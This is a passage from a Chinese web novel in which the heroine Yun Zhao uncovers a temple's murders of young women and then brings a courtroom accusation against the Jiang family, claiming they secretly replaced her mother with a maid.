直至今夜,直至此刻,他仿佛在无尽黑暗中,终于窥见了一丝天光——
或许是上天终究不忍,才遣下这样一位女子临世,为这些沉冤莫白的孤魂讨要公道!
云昭静默片刻,抬眸看向萧启,眼神清亮而锐利:“丹房熔炉处的尸身,我想亲自查验。”
当时她命墨七二人阻止及时,才勉强保下了那些可怜女子最后的尸身,未让她们彻底化为灰烬。
萧启眉头微蹙,迟疑道:“我已令人查看,她们体内脏器均已缺失。”
他声线压抑,带着一丝凝重,“那般场景,你还是不看为好。”
“请殿下务必带我前去。”云昭目光澄澈而坚定,
“唯有亲眼所见,我才能以玄术为引,为她们招魂正名,令真相大白于天下。”
萧启凝视她良久,终是沉声下令:“将那些女子的尸身,悉数移至院中桂树下,妥善安置。”
云昭静立于莲花池前,目光扫过那些被将士安置于青石板上的尸骸,眼中凝起肃穆之色。
她命墨一去青莲观大殿取来四根供香,指尖轻轻一捻——
香头无火自燃,青烟袅袅升起,却不散入空中,反而如受指引般,仍朝莲花池方向缠绕而去。
云昭蹙眉,声音清冷而空灵:
“乾坤有道,魂兮归来。
冤屈得雪,方入轮回。”
诵咒声落,盘旋的青烟骤然剧烈旋转,如同受到无形的牵引,猛地扎入漆黑的淤泥之中!
片刻,池底某处竟泛起微弱的、只有云昭能清晰感知的灵光波动。
“在那里。”云昭手指荷塘西北角,“淤泥之下,另有乾坤。”
萧启毫不犹豫,即刻命人循所指之处挖掘。
不过片刻,一名侍卫便触到硬物——
竟是一块被淤泥包裹的暗板!
*
掀开暗板,底下是一条仅容一人通过的狭窄石阶,一股混合着陈旧血腥与脂粉香气的怪味扑面而来。
萧启率先持火折而下,云昭紧随其后,李副将与墨一等人护卫左右。
石阶通向一间隐蔽的地下暗室。
室内出奇的“整洁”,没有尸骸,没有血迹,唯有靠墙放置的数十口沉重的木箱。
墨一利刃挑开其中一个箱锁,掀开箱盖。饶是他
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这般心性冷硬的暗卫,见状也不由倒吸一口冷气——
箱中并无金银财宝,塞得满满当当的,全是各式女子的贴身饰物:
一支鎏金蝶恋花步摇,遍是锈斑却难掩精致;
一枚边缘磕碰的芙蓉玉玉佩;
几串色泽已然暗沉的手串;
甚至还有一只小小的、歪歪扭扭绣着“平安”二字的香囊。
每一件,都曾属于一个鲜活的生命。
“这……这是我妹子的发钗!”
李副将抓起一支素银簪子,手指颤抖地摩挲着簪尾刻的一个极小的“芸”字,虎目瞬间赤红,“这是我亲手为她刻的,错不了!”
更多木箱被逐一打开。
每一件沉寂的饰物都仿佛活了过来,无声地泣诉着主人遭遇的冤屈。
先前沿着暗道查探的手下这时折回,“殿下,暗道尽头通往青莲观后殿,出口隐于一尊神像前的蒲团之下。”
萧启眸中寒光乍现,冷笑一声:“好一座香火鼎盛、清净无垢的青莲观!”
“殿下!秦王殿下!”
就在这时,莲花池上方传来一阵略显惊慌的呼喊。
云昭随萧启等人迅速自暗道撤回地面。
只见京兆府尹赵悉带着一众衙役站之外池边。
赵悉年纪极轻,面如冠玉,眉目天生自带几分风流意态,此刻却官帽微斜,发丝稍乱,平添了几分不羁。
眼见着秦王一行人竟从池底密道鱼贯而出,赵悉一双桃花眼惊得越瞪越大,活脱脱一副白日见鬼的愕然模样。
“我滴个老天爷!”他夸张地倒抽一口凉气,快步上前,也顾不上什么虚礼,指着那被挖开的池底,
“我说秦王殿下!您这又是唱的哪一出?怎么想起来把这百年莲池给刨了?
去年底太后她老人家凤驾亲临,还盛赞此池清雅,等着今夏过生辰时要来办赏荷宴呢!”
萧启语气平淡,却带着不容置疑的份量:“你亲自下去看一趟,再来回话。”
赵悉挑了挑眉,脸上狐疑之色更浓,却也没多问,理了理衣袍便弯腰下了密道。
不过半盏茶的功夫,再上来时,赵悉那张俊俏的脸已是黑云压城,先前那点玩世不恭荡然无存,只剩下滔天的怒意。
墨一又指了指不远处桂树下整齐安置的尸身,又道:
“赵大人,那边是从熔炉里抢出来的尸身。我等来时,他们正将那些女子投入丹炉,其中有两个还活着。”
“畜生!真是一群活该千刀万剐的畜生!”
他猛地一脚踹在旁边雕刻精美的莲花石柱上,旋即疼得龇牙咧嘴。
一边倒抽着凉气,一边怒道:“你知道这青莲观在京城贵女之中有多红火?”
每年夏天的赏荷宴、秋季的赏桂宴,还有那每月十五被抢破头的玉容丹!
现在你告诉我,那些贵女们趋之若鹜的灵丹妙药,竟是用年轻女子的血肉炼成的?”
他越说,脸上的笑意越深,目光冰冷的骇人:
“去年岁末,太后娘娘还亲率六宫妃嫔来此进香祈福。
殿下不妨猜一猜,太后娘娘的妆台上,有没有摆上几瓶那劳什子玉容丹?”
第39章 我要状告姜府偷换主母!
云昭闻言,不由得多看了赵悉两眼。
此人表面一副玩世不恭的纨绔相,听其言观其行,倒是个藏锋于拙、内里刚直的性情中人。
萧启声音冷澈,再度将话题拉回骇人的现实:“不止丹炉。
这方莲池,每年莲花盛开时,引得京城万人空巷、争相观赏,其下滋养莲花的淤泥,尽是那丹炉焚化之后的骨灰。”
赵悉脸色铁青,嘴里一阵叽里咕噜。
骂得挺脏的。
萧启沉声问:“让你去拿的主犯呢?”
提起此事,赵悉桃花眼里闪过一抹厉色,略带得色地哼了一声:
“那妖道半路想咬舌自尽,被我的人眼疾手快卸了下巴,现在正结结实实捆在我马车里候审呢!”
云昭闻言,心下恍然,不禁生出几分莞尔。
原以为这位赵大人睡眼惺忪、官帽歪斜,是被手下临时从热被窝里薅起来办案的。
此刻才知,他竟也和萧启一样,彻夜未眠,奔波部署,且早已将关键案犯擒获。
方才那副形状,约莫是赶来路上在车里临时假寐所致。
赵悉恰好看过来,嘴角勾起一抹弧度,打量着云昭道:
“秦王殿下,这位莫非就是传说中那位,妙手回春治好了您头疼顽疾的小医仙?”
萧启睇了他一眼,目光暗含警告,语气却透着实实在在的熟稔:
“让你的人下去,将所有证物逐一清点造册。明日一早,传唤所有报过失踪女子的人家,前来认领遗物。”
“都听见殿下吩咐了?”
赵悉朝身后一招手,语气又恢复了先时那种漫不经心,
“手脚都给本官利索点,登记造册,一件都不许错漏!赶紧忙完,兴许升堂前还能挤点时辰补个眠。”
他话音刚落,一阵急促而整齐的脚步声便由远及近传来。
夜色中,一行人手提官灯,步履迅疾,声势颇壮。
为首之人身着紫色圆领官袍,正是大理寺卿白羡安。
白羡安生得白净斯文,颇具书卷气,上前几步,出示公文,语气虽缓,却带着不容抗拒的强硬:
“秦王殿下,赵府尹。此案牵连甚广,骇人听闻,已惊动圣听。
依《晋律》,此等惊天重案,当由大理寺接管。
本官依律行事,即刻接手此案,所有尸身、证物及一干人犯,需立即移交大理寺勘验!”
赵悉一听,瞬间炸了**,方才那点懒散劲儿一扫而空,当场跳脚骂道:“白羡安!你放屁!
这案子是老子……是本府先接手的!嫌犯是本府抓的,证物是秦王殿下搜的,现在人赃并获了——
你大理寺一张纸就想来摘桃子?天底下哪有这样的道理!”
历来京城这地界,京兆府尹的位子都是个烫手山芋。
天子脚下,王公贵胄多如过江之鲫。往四九城大街上溜达,随手一指,不是皇亲、便是国戚。
可谓三步一侯,五步一公,稍有不慎,便不知开罪了哪路神仙。
然而,年仅二十七岁的赵悉,却已在这风口浪尖上稳稳坐了三年。
这不仅因他天生就是个七窍玲珑的笑面狐狸,见人说人话,见鬼说鬼话,为人处世滑不留手,让人抓不住半点错处。
更因他背后站着的是满门忠烈的宁国公府——
父亲是战功赫赫的宁国公,长兄是威震边关的承义侯。
赵家儿郎几乎尽数捐躯沙场,只留下他这一根独苗。
自打刚满周岁,便被当今圣上亲口御封为世子,圣眷之浓,无人能及。
可以说,在这四九城里,拂了赵世子的面子,便是公然打皇帝的脸!
可白羡安显然不吃这一套,他面色不变,语气平板无波:
“本官只是依律行事。府尹大人与秦王殿下若对此有异议,明日早朝尽可向陛下陈情。”
说罢,竟不容分说地朝身后一挥手,示意手下上前接管,摆明了要强行抢人。
“且慢。”
一道清洌的女声响起,不高,却清晰地传入每个人耳中。
霎时间,所有人的目光都聚焦在了云昭身上。
“白大人不能将人和物证带走。”云昭上前一步,语气平静却斩钉截铁。
白羡安冰冷的目光扫过云昭的脸庞,带着审视与不悦。
赵悉心头一紧,虽不知云昭有何打算,却下意识地侧身半步,隐隐将她护在身后。
秦王身旁的墨一这时道:“白大人,这位是姜尚书府的千金,云昭姑娘。
今夜能寻获这些受害者的遗骸与关键物证,全赖云姑娘出手相助。”
白羡安扯了扯嘴角,语气疏离而冠冕堂皇:“姜大小姐有功于案情,本官回朝后,自会禀明圣上,为小姐请功讨赏。”
他话锋一转,意有所指地敲打,“不过,女子终究以贞静为本分,深更半夜随男子在外奔波,终究于闺誉有碍。”
云昭闻言,微微敛眉,正待开口——
一直沉默的萧启薄唇轻启,声音寒冽如冰:“她是本王请来的贵客,轮得到你来置喙?”
白羡安微微躬身,姿态恭谦:“下官一时失言,还请王爷恕罪。”
可看他的眼神,分明没有半分畏惧。
此人瞧着斯文有礼,却是个极难对付的滚刀肉!
云昭并未被这阵仗吓退,她盯着白羡安看了片刻,再次开口道:
“此案不仅关乎多名女子失踪毙命,更涉及我母亲遭家贼拐卖之私冤。
我已向赵府尹报官,赵府尹也已受理。
于公于私,这些尸身与物证皆乃京兆府案牍关键,白大人无权带走。”
赵悉闻言,双眼骤然一亮,忍不住以激赏的目光将云昭上下打量了好几遍,心中暗赞:
妙啊!此招合情合理合法!
赵悉的目光太过热切,引得一旁的萧启冷冷瞥了他一眼。
白羡安张了张嘴,正欲反驳。
云昭却已抢先一步开口:“白大人漏夜疾行办案,自是忠心可嘉。只是不知,大人出门前,可曾安顿好府中女眷?
毕竟如大人所言,女子需贞静为上,若无要事,这深更半夜的,还是留在府中更为妥当,以免横生枝节,徒惹非议。”
此言一出,白羡安脸色骤然大变,仿佛被瞬间掐住了命门。
他脸色几经变幻,青白交错,最终竟是硬生生将到嘴边的话咽了回去。
白羡安铁青着脸退让了一步:“……好!既然如此,明日一早,三司会审!届时,所有证物人犯,需一并呈上!”
说完,竟不再纠缠,带着人悻悻然地匆匆离去,背影甚至透出几分仓促。
云昭看着白羡安大步走远的背影,微微皱了皱眉。
白羡安身上有一股极淡的邪气,且观他面相,家中姊妹应当正陷病厄。
她方才所说,只不过就自己窥破之事,试探地回敬他一番,却不想真戳
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破了对方不欲人知的隐秘。
赵悉看得目瞪口呆,随即转向云昭,眼神热切得仿佛发现了什么惊天宝藏:
“我的天!云姑娘,你真是神了!白羡安那猴精似的的泼皮,居然也有吃瘪的一天!”
“你方才那番话是何意?为何他一听到,立即就脸色大变,如被掐到命门!”赵悉一连串地问话。
一旁的萧启发出一声意味不明的冷嗤。
赵悉扭头朝他撇嘴:“殿下刚才故意不出声,是不是就等着看我跟白羡安那厮撕扯,好看我笑话是不是!”
他早就该想到,以萧启那孤拐霸道的性子,岂是肯在白羡安面前忍气吞声的主?
方才按兵不动,分明就是早有预料,憋着坏呢!
云昭道:“殿下,赵府尹,当务之急,是继续搜罗这间道观,寻到更多物证。”
云昭今夜来此,原为救出生母苏氏、寻回嘉乐郡主遗骨而来,何曾想这香火鼎盛的青莲观中,竟藏着如此骇人听闻的隐秘。
再看今夜萧启和赵悉,分明是有备而来,方才那个姓白的,也是伺机而动,便知这桩少女失踪案背后,必定牵涉极广。
从前在清微谷时,云昭的世界纯粹如雪。
终日修行医道,与同门切磋针术,山间岁月虽简朴,却有明月清风常伴。
她是死过一回的人,如今借着重生机缘回京复仇,一心想要姜家上下血债血偿。
却不想有朝一日,师父所授之术、平生所修之道,竟能在此等局面下派上用处——
医者,可救**身;玄者,能渡冤魂执念。
云昭眼底燃起灼灼烈焰,似雪地中蓦然盛开的红梅:
若纵容此等恶行,见之而漠视,闻之而负手,岂不辜负了这一身所学?
赵悉闻言震惊:“云姑娘的意思是,这观中还有更多罪证?”
萧启却向前半步,玄色大氅在夜风之中轻轻荡起,悄然遮住云昭略显苍白的脸。
“你可还撑得住?”他从见到云昭起,就觉她面色较之前更为苍白。
他虽是亲王之尊,但从前驻守北疆,惯于风餐露宿,彻夜奔袭。
但她毕竟是女子,不比男子皮糙肉厚耐于摔打。
见她这般强撑的模样,萧启说不出缘由的心头滞涩。
彼时的萧启尚未明白,这种不由自主的牵挂,名曰心动。
云昭微摇了摇头:“正事要紧。”
接下来,在云昭的指引下,众人又在道观的一处暗室中寻得一位被囚数月的老道士。
萧启的手下也在马房搜出两名瑟瑟发抖的小道童,连同玉阳子房内未及带走的金银赃物,一并带回京兆府。
回去的路上,赵悉搓着手凑到云昭身旁,一双眼睛亮得几乎要冒出星星来。
他做京兆府尹三年,从未像今夜这般,办案办得如此酣畅淋漓。
这位云姑娘,简直是个活宝贝——
若日后查案都有她在旁指点,连破奇案岂不是指日可待?
他殷勤地递出臂膀,笑得见牙不见眼,欲扶云昭登上马车:“我派人送云姑娘回姜府?”
“不回。”云昭朝他璀然一笑。
天边已泛起朦朦胧胧的鱼肚白。
她望着远处,声音轻快:“劳烦赵大人为我们母女寻个暂歇之处。
天一亮,我便要状告姜府家贼偷换主母、私运出府。
届时,还请大人传唤姜府上下,一一到堂听审。”
第40章 姜府上下皆需到堂候审!
赵悉听得眼睛瞪得溜圆,嘴巴张了张,活像条吃惊的锦鲤——
这姑娘是要把天捅个窟窿?
近来京城传闻,他多少也听闻一些。
他自小父兄皆亡,家里祖母、母亲、嫂子,还有二房三房的婶婶姊妹,一众女眷相处融洽,实在难以想象云昭所经历的处境。
赵悉正待开口,却忽觉后领一紧——
萧启不知何时已近身前,修长五指拎着他的衣领,像提溜小猫般将人轻巧拨到一旁。
另一手稳稳扶住云昭的腰肢,稍一用力,便将人托上了马车。动作行云流水,带着不容置疑的强势。
“先去王府歇息。”
他的声音低沉,目光在云昭略显苍白的脸上停留一瞬,眉头微不可察地蹙起。
云昭微微一怔,尚未开口,萧启已然俯身凑近几分,玄色大氅在晨风中轻扬,若有若无地将她与其他人的视线隔开:
“从本王住处至京兆府,不过半盏茶的功夫。”
说罢利落地合上车门,“啪”的一声,截断了赵悉急切的张望。
“启程。”
他吩咐都爱,随即利落地翻身上马,玄色衣袂在晨光中划出一道利落的弧线。
赵悉吃了一嘴灰,连忙呸呸两声,一边嚷道:“等等!云姑娘,我家也离京兆府很近啊!就在秦王殿下隔壁!”
车内,云昭听着车窗外渐远的嚷嚷,忍不住唇角轻绽。
雪信悄声道:“姑娘,您笑了。”
云昭的目光落在一旁沉睡的苏氏面上,唇角弧度未减:“没什么,只是那位赵大人……甚是有趣。”
她向来喜欢长得好看又有趣的人,譬如宫中那位柔妃,再譬如今日这位赵府尹。
这话她说得轻快,说罢便撂开了。
却不知隔着一层车窗,某人握缰绳的手指倏地收紧。
萧启面沉如水,薄唇抿成一条冷硬的线。
她这是何意?
初见那日她便摸了他,前日夜里那回也看过他,如今居然说别的男子有趣?
云昭全然不知自己随口一句笑谈,已惹得车外那人心绪翻涌。
她只轻轻握住苏氏的手,指尖传来温热的触感。
她终于寻回母亲了。
这感觉,真好。
*
姜府。
天还未透,姜府上下已乱作一团,犹如热锅上的蚂蚁。
最先察觉异样的,是预备上朝的姜世安。
大晋朝制,每日卯时上朝,臣子寅时便须整装待发。
可这日车马虽已齐备,小厮却连滚带爬扑入堂前,颤声急报——
府门,打不开了!
紧接着,平日负责采买的管事婆子也慌慌张张跑来,道是后门同样纹丝不动。
不多时,姜珩与三房的姜世忠也相继赶到,个个面色惊疑。
直至天光大亮,姜绾心才梳妆完毕,施施然现身。
只见满府之人面如土色、神情惶惶,老夫人额角贴着膏药,歪在榻上唉声叹气。
姜绾心不由奇道:“祖母,这是怎么了?”
老夫人捶着桌沿气道:“也不知是撞了什么邪,府门竟打不开了!你爹到现在都没能出门上朝!”
姜绾心精心描绘的黛眉一蹙,几乎以为自己听错了:“什么?”
她整个人都是懵的——
原说好今日要与兄长、梅姨同去碧云寺,寻那位擅治疮疤的有悔大师,为梅姨看脸。
但三人皆心知肚明,此去碧云寺,为梅姨看脸虽是真;但更重要的,是要借此行前线一步接触到闻空大师。
为此,她昨夜沐香膏、熏兰草,今早又挑了半晌衣裳首饰,才耽搁到这时辰。
本以为推门便见姜珩如常备好她爱吃的朝食,而后三人乘车说笑同往寺院,何曾想竟遇上这等荒唐事?
她只觉荒谬:“既大门不开,何不走后门?”
姜珩也觉得今日这事邪了门了。
他正自焦躁,闻言更是厌烦:“不仅大门和后门,就连东小门也出不去!”
“什么?!”姜绾心彻底怔住,她不由看向姜世安,“那爹爹岂不……”
姜珩正自焦躁,闻言更烦:“岂止大门后门?连东侧小门也纹丝不动!”
姜绾心彻底怔住:“这……爹爹岂不……”
姜世安确已心急如焚。
昨日才发生了那样的事,今日竟敢不告假而旷朝,陛下会作何想?
那些专好闻风奏事的言官又会如何编排他?
光是想一想,他便觉额角青筋突突直跳。
“不好了!不好了!”一个小丫鬟面无血色地冲进来,声音发颤,“梅娘子方才吐了一大口血,人晕过去了!”
“什么?”姜绾心脸色骤变,“还愣着做什么?快请大夫啊!”
杨氏跌足急道:“哎呦我的小姑奶奶!外面的人进不来,里头的人出不去,请哪门子大夫!”
老夫人沉着脸将拐杖重重一顿:“云昭那死丫头呢?日上三竿还不见人影?”
她瞪向杨氏,“去!把她给我拖起来!”
正当一片忙乱之际,门外忽然传来三声清晰的叩门声。
守门小厮本就心里发毛,忽闻叩门声,两腿筛糠似的一路蹭过去。
谁知手才一碰,那门闩竟“咔哒”一声自行滑落,大门洞开。
门外,数名京兆府衙役肃然而立,气息冷峻。
为首的捕头面色冷肃,高举手中公文,声若洪钟:
“奉京兆府尹赵大人钧令,传尚书姜府一应人等到堂听审!姜世安、姜珩、姜绾心、梅柔卿……”
他话音微顿,锐利的目光如鹰隼般扫过闻讯聚拢而来的姜家众人,
“及府上老夫人、二房、三房诸人等,即刻随我等前往衙门,不得有误!”
这突如其来的传唤如同平地惊雷,将在场众人震得魂飞魄散。
老夫人吓得一个趔趄,险些瘫软在地。
被身旁嬷嬷死死扶住,她声音发颤,连乡音都漏了出来:“这、这是弄啥咧?凭啥抓俺们全家?!”
杨氏脸色煞白,尖声叫道:“凭什么!凭什么全家都要去?还有没有王法了!”
她惊慌失措地一把拽住姜世安的衣袖,
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“大伯!您可是朝廷重臣,快说句话啊!”
姜世安强压下心头惊悸,上前一步,试图维持朝廷大员的体面:“不知府尹大人因何故传唤?可否容本官先行入宫面圣,待禀明圣上之后,再……”
他此刻仍未太在意,满心盘算的是如何向圣上请罪今日未能上早朝之事——
是说老母病重,还是嫡女突发急症?
云昭……
他心头一咯噔:闹出这般大的动静,以云昭那般机警的性子,早该现身了,何以至今不见人影?
“怎么,”一道带着几分戏谑笑意的声音自衙役身后传来,“莫非是京兆府的庙门太小,请不动姜尚书这尊大驾?”
这嗓音听着极熟。
姜世安定睛一看,竟是刑部侍郎陶远之!
再往后看,竟还有身着大理寺官服的人员在场!
姜世安骤然变色,心底猛地一沉。
陶远之笑吟吟地踱步上前,语气却透着一股不容错辨的寒意:
“姜大人真是好大的面子,大理寺、刑部、京兆府三司协同办案,齐聚贵府门前——
您可是咱们大晋开朝以来,头一位享此‘殊荣’的二品大员。”
“陶大人!”姜珩又急又怒,抢上前辩驳道:“即便有事问询,也从未有将阖家老幼妇孺一并拘传的道理!你这分明是……”
陶远之笑容倏地一敛,目光锐利如出鞘寒刃,打断了他:
“今有苦主状告贵府勾结妖道,囚禁并偷换主母,侵吞嫁妆,更涉嫌牵连多年未破的女子连环失踪悬案!
数罪并查,圣上已然御览知悉!”
他声音陡然一沉,掷地有声:“特谕:姜府上下,一应人等,皆需到堂候审!
案情水落石出之前,一律不得纵放!”
说到此处,陶远之唇角勾起一抹冷冽的弧度,那双精光内敛的狐狸眼,已然毫无笑意:
“姜大人,姜公子,二位现下可听明白了?”
“囚禁偷换主母?这、这话是从何说起?!”杨氏失声尖叫,满脸的难以置信。
姜世安亦强作镇定,蹙眉道:“陶大人,内子虽身体孱弱,常年静养,少见外人,但确确实实仍在府中后院。
此事……是否存有甚么天大的误会?”
陶远之面容一肃,公事公办道:“此案干系重大,内情复杂。
姜大人亦是朝廷栋梁,莫非要在府门之外,与下官争执圣意?”
“陶大人言重了。”姜世安面露苦涩,“实在是您所言之事,太过骇人听闻,下官一时难以承受。”
姜珩见状,急于证明,高声道:“大人若是不信,我此刻便可带您入内!我母亲此刻就在后宅望舒苑中!”
陶远之闻言,意味深长地一笑:“不劳姜公子引路。”
他朝身后四名身材高大、气息沉稳的女侍卫一招手,“尔等口中的那位‘苏夫人’,既在府中,正好,一并‘请’回衙门,便于查证。”
说罢,他转向姜世安,略一拱手:“姜大人,下官亦是奉旨行事,多有得罪。请吧!”
第41章 这才是真正的姜家主母!
姜绾心嗓音细柔,满脸忧色:“陶大人,我母亲犹在病中,梅姨更是伤重垂危,急需就诊。
大人当真要在此刻将她们也带走吗?岂非太过不近人情?”
陶远之目光掠过她,笑容不变,却带着官方的疏离:
“姜二小姐放心,京兆府内已备下太医署良医,一应所需药物俱全。若确需诊治,绝不会延误片刻。”
姜家一行人在衙役的押送下当街穿行,前往京兆府,这堪称京城数十年未有的奇景。
刚出府门不过百步,便已引来了无数百姓的围观。
男女老少们指指点点,议论声如潮水般涌来。
京城消息流传之速,远胜飞马。
这些围观的百姓,所知内情甚至比当事的姜家人更为“详尽”。
“听说了吗?这几年闹得人心惶惶的年轻女子失踪案,竟是秦王殿下坐镇督破的!罪魁祸首,就是青莲观那个平日里仙风道骨的玉阳子!”
“早起在城西老乔家的馄饨摊上就听说了!要我说,还得是咱们秦王殿下!武能安邦定国,文能明察秋毫,真是国之柱石!”
“可这……跟姜尚书家又有啥牵扯?”
“好像是姜家那位多年抱病的正头夫人,被自家人给算计坑害了……”
人群中的窃窃私语如同投入湖面的石子,激起层层涟漪。
各种猜测和传闻层出不穷,关乎姜府高门内的秘辛,每个人说的都煞有其事,却又语焉不详,更添了几分神秘。
越是这般模棱两可,越是勾得人心痒难耐,探究欲空前高涨。
人群熙熙攘攘,竟自发地簇拥着姜家的队伍,如同潮水般一路涌向京兆府,争相要看个究竟。
姜家向来以清贵门第自居,何曾受过这等被当作猴戏般围观的奇耻大辱?
府中众人个个面无人色,羞愤难当,恨不得将头埋进胸膛里,只祈求脚下这条丢尽颜面的路能短些,再短些,尽快走到尽头。
*
姜珩面色阴鸷,侧首向后冷冷扫视了一圈,却并未在人群中看到那个预料之中的身影。
他转过脸,对着面色沉凝的姜世安低声切齿道:“父亲,没看见云昭那死丫头!此事十有**,又是她在兴风作浪!”
一旁的姜老夫人早已没了平日强撑的雍容派头,她死死攥着身边嬷嬷的手臂,嘴里不住地低声咒骂,尽是些市井村野的粗鄙俚语:
“天杀的小贱蹄子!黑了心肝的赔钱货!这是要活生生逼死我们老姜家啊!早知今日,当初还送走做什么?就该直接溺死在恭桶里!”
“母亲慎言!”姜世安低声喝止!
姜老夫人自知失言,悻悻然瘪了瘪嘴,仍忍不住咕哝:“若早早了结了她,哪还有今天这祸事……”
三房夫妇彼此对视一眼,皆从对方眼中看到深重的忧虑,不动声色地将两个女儿护得更紧。
他们一向在府中谨小慎微,此刻更是打定主意,接下来不论发生什么,纵然拼死也要护得一双女儿周全。
杨氏脸色发白,紧紧搂住姜绾宁的臂膀,颤声道:“幸好你弟弟这些日子都住在学堂!不然今日这事,他也要跟着一块受罪。”
姜绾宁从后头揪了揪姜绾心的衣袖:“心儿姐姐,你一向聪明,待会若是有什么我不知该如何应对的,你可千万要提点我。”
姜绾心不耐烦地拽出自己的袖子,漫应两声,目光却不由自主地越过人群,落在队伍末尾。
两个衙役用担架抬着气息奄奄的梅柔卿,白布覆面,一只苍白无力的手软软地垂在外面。
不知为何,她心头猛地一悸,一股难以名状的惊惶骤然攫住了她。
她看向父亲和兄长,语带哽咽:“阿姊她真是疯魔了不成?我们都姓姜啊!血脉相连,一荣俱荣,一损俱损!
她如此诬告构陷,可曾想过爹爹的官声、兄长的前程?
可曾顾及祖母年事已高,经不起这般折腾?
我们姐妹几个尚未议亲,她这是要绝了我们所有人的路啊……”
姜世安脸色铁青,沉默不语,心中疾速盘算。
方才离府前,陶侍郎厉声所言犹在耳边:“有人状告贵府勾结妖道,囚禁并偷换主母,侵吞嫁妆,更涉多年女子失踪悬案!”
“妖道”之事,本就与姜府无关,稍后对簿公堂,轻巧就能绕开去,关键在于……
他猛地想起那夜带云昭去见“苏氏”的情形,心下陡然一凛——
莫非当时露了破绽?
不会……
连龚嬷嬷和南乔那两个自苏氏出嫁便跟随的忠心陪嫁,都被他牢牢掌控数年,其余知情旧仆,更一早被他解决。
整个姜府上下是铁板一块,绝无漏洞。
云昭便是有疑,又能如何?
她连生母真容都未曾见过!拿什么指证府中“苏氏”是假?
思及此,姜世安略松了口气。
他强自镇定,出声安抚:“不必自乱阵脚。
方才陶侍郎已言明,今日主审青莲观与失踪案,这些与我姜家何干?
想必只是例行问询,澄清之后即可回府。”
姜珩仍愤懑难平:“我看那陶侍郎分明是借题发挥,有意刁难!既是例行问话,召我一人前来足矣,何须劳动祖母与妹妹们?
简直是公私不分,挟私报复!”
姜世安端起姿态,教诲道:“君子坦荡,何惧宵小之言?
今日之事,正可为你初入仕途之历练。
为父当年初入朝堂,经历的风浪远比今日凶险,不也一关一关闯过来了?”
姜珩闻言,面色稍缓,眼底浮现几分对父亲经历的钦羡与向往:“父亲说的是,孩儿受教了。”
唯有姜绾心依旧忧心忡忡,她细声嗫嚅道:“此事若传扬开来,不知太子殿下会如何作想……”
姜世安沉声道:“太子殿下向来明察秋毫,持身以正。
若殿下今日亲临,一切自有公断;若未曾出面,亦是为避嫌远疑。
我等身为臣子,更当谨言慎行,恪守本分,不可妄加揣测。”
姜绾心听出姜父话中的深意,一时不由心旌摇曳。
“父亲说的是。”她嘴上乖巧道:“太子殿下最是温润仁厚,体恤臣下。今日这般混乱情形,他还是不要涉足的好,免得沾染是非。”
然而眼波流转间,尽是少女怀春的期盼与忧虑。
她不由低头,下意识地整理着身上精心挑选的月白百蝶穿花裙,目光不时飘向前方,幻想着那抹尊贵的杏黄身影,或许下一刻就出现在前方。
*
堂上,气氛肃杀。
姜家众人皆已到齐,神色各异,或强作镇定,或难掩惶惑。
京兆府尹赵悉端坐于上首,刑部颜尚书与大理寺卿白羡安分坐两侧,威仪肃穆。
姜世安经过一路思忖,已然定下心神,率先拱手,语气沉稳:
“女子失踪一案关乎社稷民生,影响恶劣,本官身为朝廷命官,自当知无不言,言无不尽,竭力配合诸位大人查清此案。”
他话锋一转,面露难色,“只是家中老母年事已高,内眷们久居深闺,未曾见过公堂这般阵仗。
可否请诸位大人体恤,容她们暂且退避歇息,以免惊惧过度,失了
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仪态?”
赵悉脸上挂着惯有的笑意,手中惊堂木却轻轻一转:“姜大人,今日劳烦贵府上下齐聚于此,只因所询诸事,与贵府内务干系重大。”
说到这,他语气虽温,却不容置喙:“故此,一人都少不得。”
他不再给姜家回旋的余地,扬声道:“带原告,云姑娘上堂!”
“云昭”二字如同投入静湖的石子,瞬间在姜家人中激起波澜。
一道道或惊疑、或愤怒、或审视的目光骤然而起,齐刷刷射向堂口。
府外围观的百姓也愈发骚动,纷纷抻长了脖子,翘首以待。
只见云昭高束马尾,一身利落的黑色劲装沾着尘灰,脸颊旁还带着一道细微的擦伤,显是经历了一番奔波劳顿。
“阿昭?!”姜世安一见她这副风尘仆仆的模样,立即面露惊愕:“你、你竟真的一夜未归?成何体统!”
一旁的姜珩长眉紧锁,满脸的无奈与失望:“父亲,我早说过她昨夜不在府中!妹妹,你究竟去了何处?你可知女子彻夜不归,会为整个家族带来何等非议!”
老夫人更是将拐杖跺得咚咚响,声音尖厉:
“昨儿晚上全家等你到亥时方归,已是坏了规矩!今早才知你竟半夜又偷跑出去!
昭儿,你流落在外十六年,野性难驯,我和你父亲怜你不易,向来诸多包容。
可你既已回了姜家,就不能再如此肆意妄为,让全家颜面扫地,为你一人蒙羞!”
这番话立刻引来了堂外百姓的一片哗然议论。
大晋民风虽开化,但高门贵女夜不归宿、形容狼狈地现身公堂,仍是惊世骇俗之举。
肃静!”赵悉一拍惊堂木,压下喧嚣。
待堂下稍安,他目光转向云昭,正色道:“云昭,你状告姜府有人勾结妖道,囚禁并偷换主母,侵吞嫁妆。
此事关乎纲常伦理,更涉朝廷官员家眷清白,非同小可。
本官问你,你所言之事,可有真凭实据?”
姜世安闻言,顿时露出一副痛心疾首的模样:“阿昭!你……你怎能如此糊涂!”
姜绾心也适时地上前一步,眼中含泪道:“阿姊,你究竟是怎么了?是不是受了什么人的蒙蔽?
母亲她明明好端端地在府中养病,你为何非要说出这般骇人听闻的话?”
云昭对他们的惺惺作态视若无睹,目光清冷如冰,径直锁定姜绾心:
“你口口声声说母亲在府中。那我问你,此刻,我母亲苏氏,究竟身在何处?”
姜绾心一怔,随即像是听到了极其荒谬的笑话,伸手指向不远处轮椅上面容憔悴的妇人:
“阿姊莫非是眼花了?母亲不就在那儿吗?她虽病体沉疴,需人照料,但一直都在家中静养啊。”
“那究竟是我的生母苏氏,”云昭的声音陡然转厉,一字一句,掷地有声,
“还是当年苏家的陪嫁婢女——南乔!”
姜绾心像是被这直白的指控惊到,旋即又觉得无比可笑,语气带着几分委屈和无奈:
“阿姊,我日夜侍奉母亲汤药,晨昏定省,岂会认错自己的母亲?
倒是你,回府至今不足十日,与母亲相见不过寥寥,
如今却口口声声指认母亲是他人假冒?
她若不是,那你告诉我,谁才是?”
“堂上那个面覆厚粉、装神弄鬼的,是冒名顶替的婢子南乔!而门外这位——”
云昭霍然转身,手臂一扬,直指公堂大门之外:
“才是我的生身之母,姜尚书明媒正娶的发妻,苏家真正的嫡女,苏、凌、云!”
第42章 假苏氏竟被毒哑?
众人顺着云昭所指的方向望去,只见一名妇人缓步踏入公堂。
